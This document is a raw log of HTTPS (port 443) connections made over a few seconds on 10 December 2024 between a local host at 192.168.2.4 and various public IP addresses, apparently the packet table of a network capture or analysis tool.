Dec 10, 2024 15:11:03.014363050 CET	443	50148	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:03.015434027 CET	443	50148	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:03.015512943 CET	50148	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:03.016535997 CET	50148	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:03.016613960 CET	443	50148	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:03.016789913 CET	50148	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:03.016802073 CET	443	50148	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:03.048397064 CET	50157	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:03.048438072 CET	443	50157	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:03.048501015 CET	50157	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:03.048710108 CET	50157	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:03.048727036 CET	443	50157	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:03.067929029 CET	50148	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:03.181782007 CET	443	50146	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:03.181881905 CET	443	50146	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:03.181937933 CET	50146	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:03.182646036 CET	50146	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:03.182661057 CET	443	50146	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:03.184389114 CET	50159	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:03.184427977 CET	443	50159	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:03.184494019 CET	50159	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:03.184709072 CET	50159	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:03.184726000 CET	443	50159	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:03.298258066 CET	443	50144	37.252.171.149	192.168.2.4
Dec 10, 2024 15:11:03.298335075 CET	50144	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:11:03.298346043 CET	443	50144	37.252.171.149	192.168.2.4
Dec 10, 2024 15:11:03.298440933 CET	50144	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:11:03.299738884 CET	50144	443	192.168.2.4	37.252.171.149
Dec 10, 2024 15:11:03.299758911 CET	443	50144	37.252.171.149	192.168.2.4
Dec 10, 2024 15:11:03.442508936 CET	50161	443	192.168.2.4	185.89.210.180
Dec 10, 2024 15:11:03.442574978 CET	443	50161	185.89.210.180	192.168.2.4
Dec 10, 2024 15:11:03.442751884 CET	50161	443	192.168.2.4	185.89.210.180
Dec 10, 2024 15:11:03.443042040 CET	50161	443	192.168.2.4	185.89.210.180
Dec 10, 2024 15:11:03.443053961 CET	443	50161	185.89.210.180	192.168.2.4
Dec 10, 2024 15:11:03.457607985 CET	443	50148	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:03.458170891 CET	50148	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:03.458226919 CET	443	50148	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:03.458283901 CET	443	50148	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:03.458287954 CET	50148	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:03.458332062 CET	50148	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:03.460064888 CET	50162	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:03.460095882 CET	443	50162	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:03.460170031 CET	50162	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:03.460366011 CET	50162	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:03.460374117 CET	443	50162	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:03.763766050 CET	443	50154	151.101.1.44	192.168.2.4
Dec 10, 2024 15:11:03.764094114 CET	50154	443	192.168.2.4	151.101.1.44
Dec 10, 2024 15:11:03.764111042 CET	443	50154	151.101.1.44	192.168.2.4
Dec 10, 2024 15:11:03.765270948 CET	443	50154	151.101.1.44	192.168.2.4
Dec 10, 2024 15:11:03.765424967 CET	50154	443	192.168.2.4	151.101.1.44
Dec 10, 2024 15:11:03.766680002 CET	50154	443	192.168.2.4	151.101.1.44
Dec 10, 2024 15:11:03.766680002 CET	50154	443	192.168.2.4	151.101.1.44
Dec 10, 2024 15:11:03.766691923 CET	443	50154	151.101.1.44	192.168.2.4
Dec 10, 2024 15:11:03.766738892 CET	443	50154	151.101.1.44	192.168.2.4
Dec 10, 2024 15:11:03.817923069 CET	50154	443	192.168.2.4	151.101.1.44
Dec 10, 2024 15:11:03.817935944 CET	443	50154	151.101.1.44	192.168.2.4
Dec 10, 2024 15:11:03.842479944 CET	443	50152	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:03.842780113 CET	50152	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:03.842793941 CET	443	50152	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:03.843182087 CET	443	50152	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:03.843561888 CET	50152	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:03.843628883 CET	443	50152	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:03.843803883 CET	50152	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:03.850632906 CET	50164	443	192.168.2.4	3.219.79.107
Dec 10, 2024 15:11:03.850672007 CET	443	50164	3.219.79.107	192.168.2.4
Dec 10, 2024 15:11:03.850951910 CET	50164	443	192.168.2.4	3.219.79.107
Dec 10, 2024 15:11:03.850951910 CET	50164	443	192.168.2.4	3.219.79.107
Dec 10, 2024 15:11:03.850986958 CET	443	50164	3.219.79.107	192.168.2.4
Dec 10, 2024 15:11:03.864942074 CET	50154	443	192.168.2.4	151.101.1.44
Dec 10, 2024 15:11:03.887345076 CET	443	50152	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:03.915190935 CET	443	50153	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:03.915510893 CET	50153	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:03.915528059 CET	443	50153	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:03.915846109 CET	443	50153	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:03.916214943 CET	50153	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:03.916277885 CET	443	50153	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:03.916435003 CET	50153	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:03.959332943 CET	443	50153	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:04.247709036 CET	443	50154	151.101.1.44	192.168.2.4
Dec 10, 2024 15:11:04.247869015 CET	443	50154	151.101.1.44	192.168.2.4
Dec 10, 2024 15:11:04.247936964 CET	50154	443	192.168.2.4	151.101.1.44
Dec 10, 2024 15:11:04.248861074 CET	50154	443	192.168.2.4	151.101.1.44
Dec 10, 2024 15:11:04.248876095 CET	443	50154	151.101.1.44	192.168.2.4
Dec 10, 2024 15:11:04.319061995 CET	443	50155	172.217.17.34	192.168.2.4
Dec 10, 2024 15:11:04.319367886 CET	50155	443	192.168.2.4	172.217.17.34
Dec 10, 2024 15:11:04.319381952 CET	443	50155	172.217.17.34	192.168.2.4
Dec 10, 2024 15:11:04.320905924 CET	443	50155	172.217.17.34	192.168.2.4
Dec 10, 2024 15:11:04.321166992 CET	50155	443	192.168.2.4	172.217.17.34
Dec 10, 2024 15:11:04.321434975 CET	50155	443	192.168.2.4	172.217.17.34
Dec 10, 2024 15:11:04.321434975 CET	50155	443	192.168.2.4	172.217.17.34
Dec 10, 2024 15:11:04.321453094 CET	443	50155	172.217.17.34	192.168.2.4
Dec 10, 2024 15:11:04.321506977 CET	443	50155	172.217.17.34	192.168.2.4
Dec 10, 2024 15:11:04.358833075 CET	443	50152	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:04.358932972 CET	443	50152	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:04.359230995 CET	50152	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:04.363156080 CET	50152	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:04.363181114 CET	443	50152	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:04.364865065 CET	50155	443	192.168.2.4	172.217.17.34
Dec 10, 2024 15:11:04.364878893 CET	443	50155	172.217.17.34	192.168.2.4
Dec 10, 2024 15:11:04.391341925 CET	50168	443	192.168.2.4	151.101.193.44
Dec 10, 2024 15:11:04.391396046 CET	443	50168	151.101.193.44	192.168.2.4
Dec 10, 2024 15:11:04.391486883 CET	50168	443	192.168.2.4	151.101.193.44
Dec 10, 2024 15:11:04.392915010 CET	50168	443	192.168.2.4	151.101.193.44
Dec 10, 2024 15:11:04.392931938 CET	443	50168	151.101.193.44	192.168.2.4
Dec 10, 2024 15:11:04.411804914 CET	50155	443	192.168.2.4	172.217.17.34
Dec 10, 2024 15:11:04.427747965 CET	443	50159	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:04.428069115 CET	50159	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:04.428086996 CET	443	50159	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:04.428441048 CET	443	50159	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:04.428826094 CET	50159	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:04.428991079 CET	443	50159	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:04.429060936 CET	50159	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:04.471338034 CET	443	50159	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:04.474221945 CET	50159	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:04.800698042 CET	443	50153	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:04.800781965 CET	443	50153	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:04.800870895 CET	50153	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:04.801938057 CET	50153	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:04.801976919 CET	443	50153	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:04.806045055 CET	50169	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:04.806082010 CET	443	50169	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:04.806147099 CET	50169	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:04.806404114 CET	50169	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:04.806420088 CET	443	50169	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:04.817301989 CET	443	50162	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:04.817594051 CET	50162	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:04.817610979 CET	443	50162	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:04.818026066 CET	443	50162	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:04.818348885 CET	50162	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:04.818445921 CET	443	50162	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:04.818506956 CET	50162	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:04.827116013 CET	443	50157	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:04.827331066 CET	50157	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:04.827346087 CET	443	50157	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:04.828794956 CET	443	50157	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:04.828857899 CET	50157	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:04.829907894 CET	50157	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:04.830005884 CET	443	50157	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:04.830066919 CET	50157	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:04.830077887 CET	443	50157	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:04.859344959 CET	443	50162	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:04.880646944 CET	50157	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:05.125513077 CET	443	50155	172.217.17.34	192.168.2.4
Dec 10, 2024 15:11:05.127676964 CET	443	50155	172.217.17.34	192.168.2.4
Dec 10, 2024 15:11:05.127861023 CET	50155	443	192.168.2.4	172.217.17.34
Dec 10, 2024 15:11:05.128083944 CET	50155	443	192.168.2.4	172.217.17.34
Dec 10, 2024 15:11:05.128093958 CET	443	50155	172.217.17.34	192.168.2.4
Dec 10, 2024 15:11:05.134268045 CET	443	50159	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:05.134354115 CET	443	50159	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:05.134459019 CET	50159	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:05.136403084 CET	50159	443	192.168.2.4	104.18.27.193
Dec 10, 2024 15:11:05.136415005 CET	443	50159	104.18.27.193	192.168.2.4
Dec 10, 2024 15:11:05.209448099 CET	443	50161	185.89.210.180	192.168.2.4
Dec 10, 2024 15:11:05.209731102 CET	50161	443	192.168.2.4	185.89.210.180
Dec 10, 2024 15:11:05.209752083 CET	443	50161	185.89.210.180	192.168.2.4
Dec 10, 2024 15:11:05.210939884 CET	443	50161	185.89.210.180	192.168.2.4
Dec 10, 2024 15:11:05.211000919 CET	50161	443	192.168.2.4	185.89.210.180
Dec 10, 2024 15:11:05.211391926 CET	50161	443	192.168.2.4	185.89.210.180
Dec 10, 2024 15:11:05.211473942 CET	443	50161	185.89.210.180	192.168.2.4
Dec 10, 2024 15:11:05.211565971 CET	50161	443	192.168.2.4	185.89.210.180
Dec 10, 2024 15:11:05.255341053 CET	443	50161	185.89.210.180	192.168.2.4
Dec 10, 2024 15:11:05.255485058 CET	50161	443	192.168.2.4	185.89.210.180
Dec 10, 2024 15:11:05.255496025 CET	443	50161	185.89.210.180	192.168.2.4
Dec 10, 2024 15:11:05.278423071 CET	50172	443	192.168.2.4	104.18.26.193
Dec 10, 2024 15:11:05.278469086 CET	443	50172	104.18.26.193	192.168.2.4
Dec 10, 2024 15:11:05.278537989 CET	50172	443	192.168.2.4	104.18.26.193
Dec 10, 2024 15:11:05.278769970 CET	50172	443	192.168.2.4	104.18.26.193
Dec 10, 2024 15:11:05.278779030 CET	443	50172	104.18.26.193	192.168.2.4
Dec 10, 2024 15:11:05.295074940 CET	443	50162	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:05.295473099 CET	443	50162	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:05.295521975 CET	50162	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:05.295926094 CET	50162	443	192.168.2.4	35.244.159.8
Dec 10, 2024 15:11:05.295934916 CET	443	50162	35.244.159.8	192.168.2.4
Dec 10, 2024 15:11:05.303992987 CET	50161	443	192.168.2.4	185.89.210.180
Dec 10, 2024 15:11:05.381809950 CET	50173	443	192.168.2.4	157.240.195.35
Dec 10, 2024 15:11:05.381844997 CET	443	50173	157.240.195.35	192.168.2.4
Dec 10, 2024 15:11:05.381936073 CET	50173	443	192.168.2.4	157.240.195.35
Dec 10, 2024 15:11:05.382235050 CET	50173	443	192.168.2.4	157.240.195.35
Dec 10, 2024 15:11:05.382251024 CET	443	50173	157.240.195.35	192.168.2.4
Dec 10, 2024 15:11:05.437833071 CET	50174	443	192.168.2.4	34.98.64.218
Dec 10, 2024 15:11:05.437868118 CET	443	50174	34.98.64.218	192.168.2.4
Dec 10, 2024 15:11:05.437926054 CET	50174	443	192.168.2.4	34.98.64.218
Dec 10, 2024 15:11:05.438148022 CET	50174	443	192.168.2.4	34.98.64.218
Dec 10, 2024 15:11:05.438162088 CET	443	50174	34.98.64.218	192.168.2.4
Dec 10, 2024 15:11:05.591695070 CET	443	50164	3.219.79.107	192.168.2.4
Dec 10, 2024 15:11:05.591990948 CET	50164	443	192.168.2.4	3.219.79.107
Dec 10, 2024 15:11:05.592004061 CET	443	50164	3.219.79.107	192.168.2.4
Dec 10, 2024 15:11:05.593075991 CET	443	50164	3.219.79.107	192.168.2.4
Dec 10, 2024 15:11:05.593143940 CET	50164	443	192.168.2.4	3.219.79.107
Dec 10, 2024 15:11:05.594280958 CET	50164	443	192.168.2.4	3.219.79.107
Dec 10, 2024 15:11:05.594348907 CET	443	50164	3.219.79.107	192.168.2.4
Dec 10, 2024 15:11:05.594505072 CET	50164	443	192.168.2.4	3.219.79.107
Dec 10, 2024 15:11:05.594511986 CET	443	50164	3.219.79.107	192.168.2.4
Dec 10, 2024 15:11:05.594743967 CET	443	50157	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:05.594850063 CET	443	50157	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:05.594896078 CET	50157	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:05.595596075 CET	50157	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:05.595608950 CET	443	50157	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:05.613234043 CET	443	50161	185.89.210.180	192.168.2.4
Dec 10, 2024 15:11:05.613343000 CET	50161	443	192.168.2.4	185.89.210.180
Dec 10, 2024 15:11:05.613356113 CET	443	50161	185.89.210.180	192.168.2.4
Dec 10, 2024 15:11:05.613449097 CET	50161	443	192.168.2.4	185.89.210.180
Dec 10, 2024 15:11:05.614456892 CET	50161	443	192.168.2.4	185.89.210.180
Dec 10, 2024 15:11:05.614476919 CET	443	50161	185.89.210.180	192.168.2.4
Dec 10, 2024 15:11:05.644293070 CET	50164	443	192.168.2.4	3.219.79.107
Dec 10, 2024 15:11:05.742988110 CET	50175	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:05.743021965 CET	443	50175	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:05.743091106 CET	50175	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:05.743510008 CET	50175	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:05.743525028 CET	443	50175	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:05.886605978 CET	443	50168	151.101.193.44	192.168.2.4
Dec 10, 2024 15:11:05.886893034 CET	50168	443	192.168.2.4	151.101.193.44
Dec 10, 2024 15:11:05.886909008 CET	443	50168	151.101.193.44	192.168.2.4
Dec 10, 2024 15:11:05.888081074 CET	443	50168	151.101.193.44	192.168.2.4
Dec 10, 2024 15:11:05.888140917 CET	50168	443	192.168.2.4	151.101.193.44
Dec 10, 2024 15:11:05.888612032 CET	50168	443	192.168.2.4	151.101.193.44
Dec 10, 2024 15:11:05.888679028 CET	443	50168	151.101.193.44	192.168.2.4
Dec 10, 2024 15:11:05.888761997 CET	50168	443	192.168.2.4	151.101.193.44
Dec 10, 2024 15:11:05.888767958 CET	443	50168	151.101.193.44	192.168.2.4
Dec 10, 2024 15:11:05.936753988 CET	50168	443	192.168.2.4	151.101.193.44
Dec 10, 2024 15:11:05.941169024 CET	443	50164	3.219.79.107	192.168.2.4
Dec 10, 2024 15:11:05.941267014 CET	443	50164	3.219.79.107	192.168.2.4
Dec 10, 2024 15:11:05.941304922 CET	50164	443	192.168.2.4	3.219.79.107
Dec 10, 2024 15:11:05.942111015 CET	50164	443	192.168.2.4	3.219.79.107
Dec 10, 2024 15:11:05.942126989 CET	443	50164	3.219.79.107	192.168.2.4
Dec 10, 2024 15:11:05.950004101 CET	50176	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:05.950047016 CET	443	50176	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:05.950126886 CET	50176	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:05.950418949 CET	50176	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:05.950429916 CET	443	50176	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:06.172971964 CET	443	50169	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:06.173357010 CET	50169	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:06.173382044 CET	443	50169	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:06.173746109 CET	443	50169	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:06.174056053 CET	50169	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:06.174179077 CET	443	50169	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:06.174202919 CET	50169	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:06.215344906 CET	443	50169	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:06.222619057 CET	50169	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:06.338217020 CET	443	50168	151.101.193.44	192.168.2.4
Dec 10, 2024 15:11:06.338367939 CET	443	50168	151.101.193.44	192.168.2.4
Dec 10, 2024 15:11:06.339544058 CET	50168	443	192.168.2.4	151.101.193.44
Dec 10, 2024 15:11:06.339710951 CET	50168	443	192.168.2.4	151.101.193.44
Dec 10, 2024 15:11:06.339730024 CET	443	50168	151.101.193.44	192.168.2.4
Dec 10, 2024 15:11:06.495277882 CET	443	50172	104.18.26.193	192.168.2.4
Dec 10, 2024 15:11:06.495564938 CET	50172	443	192.168.2.4	104.18.26.193
Dec 10, 2024 15:11:06.495579004 CET	443	50172	104.18.26.193	192.168.2.4
Dec 10, 2024 15:11:06.496645927 CET	443	50172	104.18.26.193	192.168.2.4
Dec 10, 2024 15:11:06.496707916 CET	50172	443	192.168.2.4	104.18.26.193
Dec 10, 2024 15:11:06.497051001 CET	50172	443	192.168.2.4	104.18.26.193
Dec 10, 2024 15:11:06.497112036 CET	443	50172	104.18.26.193	192.168.2.4
Dec 10, 2024 15:11:06.497245073 CET	50172	443	192.168.2.4	104.18.26.193
Dec 10, 2024 15:11:06.497252941 CET	443	50172	104.18.26.193	192.168.2.4
Dec 10, 2024 15:11:06.552005053 CET	50172	443	192.168.2.4	104.18.26.193
Dec 10, 2024 15:11:06.725986958 CET	443	50174	34.98.64.218	192.168.2.4
Dec 10, 2024 15:11:06.726300955 CET	50174	443	192.168.2.4	34.98.64.218
Dec 10, 2024 15:11:06.726316929 CET	443	50174	34.98.64.218	192.168.2.4
Dec 10, 2024 15:11:06.727397919 CET	443	50174	34.98.64.218	192.168.2.4
Dec 10, 2024 15:11:06.727480888 CET	50174	443	192.168.2.4	34.98.64.218
Dec 10, 2024 15:11:06.727793932 CET	50174	443	192.168.2.4	34.98.64.218
Dec 10, 2024 15:11:06.727868080 CET	443	50174	34.98.64.218	192.168.2.4
Dec 10, 2024 15:11:06.727979898 CET	50174	443	192.168.2.4	34.98.64.218
Dec 10, 2024 15:11:06.727988958 CET	443	50174	34.98.64.218	192.168.2.4
Dec 10, 2024 15:11:06.730365992 CET	443	50169	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:06.730459929 CET	443	50169	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:06.730506897 CET	50169	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:06.731184006 CET	50169	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:06.731199980 CET	443	50169	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:06.772012949 CET	50174	443	192.168.2.4	34.98.64.218
Dec 10, 2024 15:11:06.823344946 CET	443	50173	157.240.195.35	192.168.2.4
Dec 10, 2024 15:11:06.823754072 CET	50173	443	192.168.2.4	157.240.195.35
Dec 10, 2024 15:11:06.823774099 CET	443	50173	157.240.195.35	192.168.2.4
Dec 10, 2024 15:11:06.825263977 CET	443	50173	157.240.195.35	192.168.2.4
Dec 10, 2024 15:11:06.825371027 CET	50173	443	192.168.2.4	157.240.195.35
Dec 10, 2024 15:11:06.826396942 CET	50173	443	192.168.2.4	157.240.195.35
Dec 10, 2024 15:11:06.826503992 CET	443	50173	157.240.195.35	192.168.2.4
Dec 10, 2024 15:11:06.826632023 CET	50173	443	192.168.2.4	157.240.195.35
Dec 10, 2024 15:11:06.826637983 CET	443	50173	157.240.195.35	192.168.2.4
Dec 10, 2024 15:11:06.867824078 CET	50173	443	192.168.2.4	157.240.195.35
Dec 10, 2024 15:11:06.960170031 CET	443	50172	104.18.26.193	192.168.2.4
Dec 10, 2024 15:11:06.960248947 CET	443	50172	104.18.26.193	192.168.2.4
Dec 10, 2024 15:11:06.960319996 CET	50172	443	192.168.2.4	104.18.26.193
Dec 10, 2024 15:11:06.961622953 CET	50172	443	192.168.2.4	104.18.26.193
Dec 10, 2024 15:11:06.961641073 CET	443	50172	104.18.26.193	192.168.2.4
Dec 10, 2024 15:11:07.177289009 CET	443	50174	34.98.64.218	192.168.2.4
Dec 10, 2024 15:11:07.177372932 CET	443	50174	34.98.64.218	192.168.2.4
Dec 10, 2024 15:11:07.177422047 CET	50174	443	192.168.2.4	34.98.64.218
Dec 10, 2024 15:11:07.179469109 CET	50174	443	192.168.2.4	34.98.64.218
Dec 10, 2024 15:11:07.179490089 CET	443	50174	34.98.64.218	192.168.2.4
Dec 10, 2024 15:11:07.325923920 CET	443	50176	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:07.355887890 CET	50176	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:07.355900049 CET	443	50176	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:07.356364965 CET	443	50176	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:07.356777906 CET	50176	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:07.356859922 CET	443	50176	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:07.357137918 CET	50176	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:07.378818989 CET	443	50173	157.240.195.35	192.168.2.4
Dec 10, 2024 15:11:07.378937006 CET	50173	443	192.168.2.4	157.240.195.35
Dec 10, 2024 15:11:07.378972054 CET	443	50173	157.240.195.35	192.168.2.4
Dec 10, 2024 15:11:07.379102945 CET	443	50173	157.240.195.35	192.168.2.4
Dec 10, 2024 15:11:07.379146099 CET	50173	443	192.168.2.4	157.240.195.35
Dec 10, 2024 15:11:07.403327942 CET	443	50176	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:07.410296917 CET	443	50175	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:07.424195051 CET	50175	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:07.424227953 CET	443	50175	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:07.425415039 CET	443	50175	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:07.425493956 CET	50175	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:07.431116104 CET	50175	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:07.431199074 CET	443	50175	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:07.431389093 CET	50175	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:07.431401968 CET	443	50175	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:07.467783928 CET	50173	443	192.168.2.4	157.240.195.35
Dec 10, 2024 15:11:07.467803955 CET	443	50173	157.240.195.35	192.168.2.4
Dec 10, 2024 15:11:07.480755091 CET	50175	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:07.734893084 CET	50182	443	192.168.2.4	157.240.196.35
Dec 10, 2024 15:11:07.734930992 CET	443	50182	157.240.196.35	192.168.2.4
Dec 10, 2024 15:11:07.735001087 CET	50182	443	192.168.2.4	157.240.196.35
Dec 10, 2024 15:11:07.735246897 CET	50182	443	192.168.2.4	157.240.196.35
Dec 10, 2024 15:11:07.735258102 CET	443	50182	157.240.196.35	192.168.2.4
Dec 10, 2024 15:11:07.936347961 CET	443	50176	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:07.936444044 CET	443	50176	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:07.936518908 CET	50176	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:07.938218117 CET	50176	443	192.168.2.4	54.154.234.207
Dec 10, 2024 15:11:07.938231945 CET	443	50176	54.154.234.207	192.168.2.4
Dec 10, 2024 15:11:07.942543983 CET	50183	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:07.942579031 CET	443	50183	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:07.942709923 CET	50183	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:07.943025112 CET	50183	443	192.168.2.4	54.171.149.245
Dec 10, 2024 15:11:07.943032980 CET	443	50183	54.171.149.245	192.168.2.4
Dec 10, 2024 15:11:08.187453032 CET	443	50175	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:08.187551975 CET	443	50175	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:08.187628984 CET	50175	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:08.205530882 CET	50175	443	192.168.2.4	67.199.150.86
Dec 10, 2024 15:11:08.205555916 CET	443	50175	67.199.150.86	192.168.2.4
Dec 10, 2024 15:11:09.213052988 CET	443	50182	157.240.196.35	192.168.2.4
Dec 10, 2024 15:11:09.214310884 CET	50182	443	192.168.2.4	157.240.196.35
Dec 10, 2024 15:11:09.214339018 CET	443	50182	157.240.196.35	192.168.2.4
Dec 10, 2024 15:11:09.215461969 CET	443	50182	157.240.196.35	192.168.2.4
Dec 10, 2024 15:11:09.217490911 CET	50182	443	192.168.2.4	157.240.196.35
Dec 10, 2024 15:11:09.221175909 CET	50182	443	192.168.2.4	157.240.196.35
